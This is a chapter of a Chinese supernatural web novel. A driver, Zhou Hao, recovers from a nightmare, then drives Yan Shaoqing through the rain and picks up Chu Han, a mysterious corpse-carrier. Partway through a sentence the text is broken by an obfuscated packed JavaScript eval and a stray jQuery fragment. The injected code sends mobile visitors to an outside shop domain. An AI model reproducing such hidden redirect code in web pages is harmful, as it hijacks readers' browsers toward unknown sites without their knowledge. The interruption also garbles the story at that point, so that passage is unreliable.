八点半,随着一阵轰隆隆的雷声,周豪猛地睁开眼睛。
他大口喘着粗气,努力从噩梦当中苏醒过来。
昨天晚上,他梦到一个披头散发的鬼从房顶倒挂下来,慢慢地朝自己靠近,他拼尽全身的力气想要反抗,四肢却如同被鬼压床一样无法动弹。
他睁开眼,无可奈何地看那鬼贴近了自己的脸,却发现那鬼居然是雁少青。
他的恐惧感从心脏中心迅速蔓延到四肢,汗水浸湿了他的衣服,但他连声音都发不出来,只能感觉到眼睛里有血流出,眼睛的疼痛感几乎把他吞噬。
梦里面,雁少青贴到他的脸上,忽然张开血盆大口,流着涎水,似鲨鱼一般要将他吞食。他的心跳频率达到一百九,在梦里,他身下一股暖流,被吓得哆嗦着晕了过去。
周豪的头很沉,四肢像灌了铅,他挣扎着坐直了身体,擦了擦额头的冷汗,这时他才注意到雁少青就在他旁边的床上坐着,直勾勾地盯着他。
周豪被吓得向旁边一缩,嗷地叫了出来。
“叫什么?看到鬼了?”窗外电闪雷鸣,雁少青苍白的脸上明暗交接,“几点了,你居然还没起床。”
周豪抱着被子,颤颤地说:“你怎么进来的?”
雁少青晃了晃手里的钥匙:“看你一直没起来,怕你死了,问店老板要的。”
周豪使劲吞下口水:“我等会就起来,你先出去。”
雁少青上下扫视一遍周豪:“我劝你,别想偷奸耍滑。”
周豪讪讪地用被子把自己包裹起来:“你在这里,我怎么穿衣服?”
雁少青这才缓缓起身,走到门口,几乎出门的时候,周豪慌里慌张地要起床穿衣服。
雁少青却转身叩了叩门,戏谑地说:“天很冷,穿厚一点,别穿湿衣服。”
等门彻底关了,周豪手忙脚乱地掀开被子,发现裤子是湿的,床上真的有一滩水印。他重新把被子铺平,却没发现上面有口水的印记或头发。
周豪心想,可能是白天被雁少青压力得精神紧张,晚上才做了噩梦。
他连忙跑进卫生间,用冷水浇了把脸,才换好衣服出门去。
大雨滂沱,雁少青已经收拾好行李,坐在副驾驶座位上,又打开她的pad在看资料。
周豪对雁少青产生了抵触感,他想赶快把雁少青拉到实验室,让她换一个司机。
周豪发动了车子,打开雨刷。
车里的氛围安静凝重,伴随着雨水拍打声,异常压抑。
车开出去一公里,周豪鼓起勇气:“雁主任,我好像感冒发烧了,要不然我打电话换个司机,让新司机送你去库措海西实验室。”
雁少青伸手贴到周豪的额头上:“体温很正常。可能是昨晚没休息好,是我给你的安神茶没有喝吗?如果今天特别不舒服,咱们就不去太远的地方,在附近看看景。”
说起安神茶,周豪便开始后悔。
他喝完茶就感觉到特别困,于是倒头就睡,也许就是那杯茶让他睡得太沉,才做了噩梦。
周豪见雁少青根本不给他换人的机会,只好暂时忍下来:“行,那就听雁主任安排吧。”
又开出大约五六公里,到了去景区的必经之路,车多了起来,两边渐渐起了山势,大雨如注,半山的土被雨水冲刷下来。前面有两辆车视线受阻,地面又滑,发生了碰撞,司机下车拍照报保险。
这截国道较窄,通行速度因此变慢,周豪叹了口气。这时他看到靠近右侧山体的马路边,有个穿着冲锋衣的人,背着登山包、拄着登山杖,没有任何避雨工具,淋着磅礴大雨,深一脚浅一脚地步行向前。
周豪偏头去看雁少青,她明显已经注意到了那个步行的人,视线一直跟在那人身上。
周豪再仔细看去,那人的背包有些熟悉,好像是昨天同住店里的“男大学生”,结合他的身高体型,应该就是他。
周豪想起昨晚大学生被雁少青甩脸,自己又被男生甩脸的事,本着看热闹不嫌事大的原则,心生一计。
他把车缓缓驶向褚寒身边停下来,不经雁少青的同意就放下车窗,冲窗外喊道:“喂,你怎么淋着雨在外面走啊?要不然我载你一程吧。”
褚寒停下脚步,望向没说话的雁少青:“不知道顺不顺路。”
周豪挥挥手,故意阴阳怪气:“这么大的雨,我们总不能一点助人为乐的精神都没有吧。快上车。”
褚寒的目光一直落在雁少青身上,看她没有反对的意思,才抖了抖身上的水,拉开副驾驶后座的车门,坐上了车。
剐蹭的两辆车拍完照,处理了事故,腾开车道。车辆逐渐开始正常通行。
周豪从后视镜看了一眼褚寒:“哥们儿,我叫周豪,我们出差经过这儿。你呢?一个人出来玩?”
褚寒从后视镜瞟了一眼周豪,发现雁少青也在通过后视镜观察他。四目相对的一瞬间,雁少青收回冷若冰霜的目光,低头看她的资料。
褚寒不自觉笑了起来。他幼稚得认为自己略胜一筹,雁少青居然还有认输的时候。他从后视镜里一直看向雁少青:“对,一个人出来。”
“方便问问名字吗?”
“褚寒,衣被来者的褚,寒冬腊月的寒。”也是衣被死者的褚,尸骨未寒的寒。
“名字不常见。”听出褚寒不想交代过多个人信息,周豪岔开话题,“有做攻略吗?我们临时出行,没做计划。你今天准备去哪,给我们指个路。我看咱一块去也行。”交谈过几句后,周豪对褚寒的敌意降低,甚至希望褚寒能多跟他聊天。
毕竟天天和雁少青呆在一起连自言自语的机会都没有。
褚寒的手摸向怀里的青铜盒。
昨天半夜,他回到房间,匆忙拿出青铜盒,想知道雁少青到底为什么没死,会不会是青铜盒出了错。然而刚触摸到盒盖,旋龟便啼鸣两声。
褚寒便将血滴入青铜盒内,黑色液体震荡过后,却出现了另一个鲜红色的名字,呼兰山。
褚寒疑惑地点燃棒香,放在青铜盒下。
白色的烟雾穿过黑色的液体,变成一条黑色烟线,钻出窗户,消失在夜色中。
褚寒不明白,是不是因为从前他只见过尸体,而这次由于自己事先介入,才使雁少青活了下来,导致他收尸的目标换了人?
这些疑问他一时半会找不到答案,只能抓紧时间,尽快赶到下一个收尸地,找到下一个他需要背尸的人。
事不宜迟,天一擦亮,他就点燃棒烟,跟着黑烟的指引,冒雨出发。
但是,具体目的地在哪个角落,他也不知道。
“没有什么计划,可能去乌兰转转。”褚寒常年在外,对山川地形很熟悉,西北一带更是轻车熟路。今早雨大,他没能骑马,只能步行。周豪喊住他以后,他倒是可以搭一程顺风车。但褚寒不能一直和他们一路,便随口诌了个大致的收
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745473|209276||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尸地范围内的地址,顺便避开热门景点。
“那我们也去乌兰吧,听说咸湖里除了盐就是人,狮林塔寺门口至少要排半个小时的队,人挤人的没什么意思,小众景点更有看头。”周豪特意表现出无视雁少青的意思,想借此拉拢褚寒统一阵线,“咱哥俩投缘,待会一块去喝杯酒。”
褚寒却转而对雁少青说:“你呢?你想去哪?”褚寒认为,雁少青应该不想跟自己一路。
雁少青漠然抬眸,从后视镜与褚寒对视:“那就去乌兰吧。你一直看着我不就是想跟我搭讪吗?满足你,方便你看我。”雁少青的目光带着挑衅。
褚寒眯起眼睛——她还不知道自己昨天差点死了。
不过,既然她要入局,那正好带上她,还能研究她为什么没死。毕竟她身手矫捷,随手掷出的飞镖竟能钉入墙里。
褚寒放松下来,嘴角噙笑,双肘撑在前排,身体向前,面朝雁少青,拍拍雁少青的肩膀。
雁少青转过头。
褚寒从怀里掏出鱼骨飞镖,用身体挡住周豪的视线:“对,我就是想看你。”
雁少青看到飞镖,目光瞬间阴冷凌厉。
褚寒弯起嘴角,露出玩弄鼓掌中的笑容:“很美。”他晃动手中飞镖,“你。”
雁少青伸手就去抢飞镖。
褚寒向后一躺躲了过去。
两个人一个来回,把周豪吓了一跳,方向盘差点没有把稳,车体在路上摇摆了几米。
周豪忍不住骂了一句:“你们不要命了!”周豪一边希望两人撕得再响一些,一边又有点后怕。无论是雁少青还是褚寒,都不在自己的掌控中。
这趟绝不应该出来,没有一件事是顺利的,更可恶的是,他有不好的预感——如果不赶快回去,他会遇到更加麻烦的事。
雁少青抢不到飞镖,双手抱臂坐回原位。
褚寒却得逞地笑着拉上冲锋衣拉链。
三人各有心事,车内气流暗潮汹涌。
前行了一二十公里,黑压压的云已到身后,雨势渐停,太阳未出,雾气氤氲,墨绿色的草地铺开在连绵的山坡上,羊和牛从山坳里走出来吃草。
但见:天上云是南飞雁,地上羊是浮云影。窗外云卷云舒,驾内暗流涌动。
上午十点来钟,过了咸湖,路边每隔一段,就有人支个摊,卖牛奶和水果,山坡上还有牧民专营骑马、摄像的。
周豪昨晚本来就没睡好,开了两个小时的车,浑身困倦,看到路边有歇脚的地方,把车往路边空地上一停,说什么也不愿走了:“我下车歇会儿,你俩爱下车不下。刚刚的架你们打完没,没打完的话接着打。”
没等雁少青开口,周豪慌忙下车,撞上车门,从车前绕道走去小摊。雁少青忽然喊道:“周豪。”
周豪本想装作没听见,因为雁少青每次喊他的名字,都像阎王点卯。
“你的烟没拿。”雁少青从前挡风玻璃处望着周豪,脸上挂着若有似无的笑容。
周豪一摸裤子口袋,果真没在里面。可能是上下车时掉出来了。
他有抽烟的习惯,但是雁少青反感他抽烟,因此只有停车的时候,他才能抽一根,上车前还要把烟味散尽。
雁少青已经降下了车窗,把烟递了出去。
周豪硬着头皮走到副驾驶一侧伸手接烟:“谢谢雁主任。”
再看雁少青,脸上已经没了笑容,仿佛刚才是他的幻觉。